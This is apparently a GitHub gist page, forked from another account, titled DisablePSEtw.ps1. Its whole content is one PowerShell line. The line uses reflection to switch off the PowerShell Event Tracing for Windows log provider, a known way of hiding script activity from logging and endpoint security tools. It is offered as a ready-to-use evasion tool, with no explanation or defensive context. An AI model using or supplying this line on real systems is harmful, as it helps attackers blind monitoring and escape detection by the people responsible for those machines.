Skip to content

Instantly share code, notes, and snippets.

@0xSV1
Forked from S3cur3Th1sSh1t/DisablePSEtw.ps1
Created January 25, 2021 17:41
Show Gist options
  • Save 0xSV1/1b01d485feefd96afab3e10fb0f74787 to your computer and use it in GitHub Desktop.
Save 0xSV1/1b01d485feefd96afab3e10fb0f74787 to your computer and use it in GitHub Desktop.
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment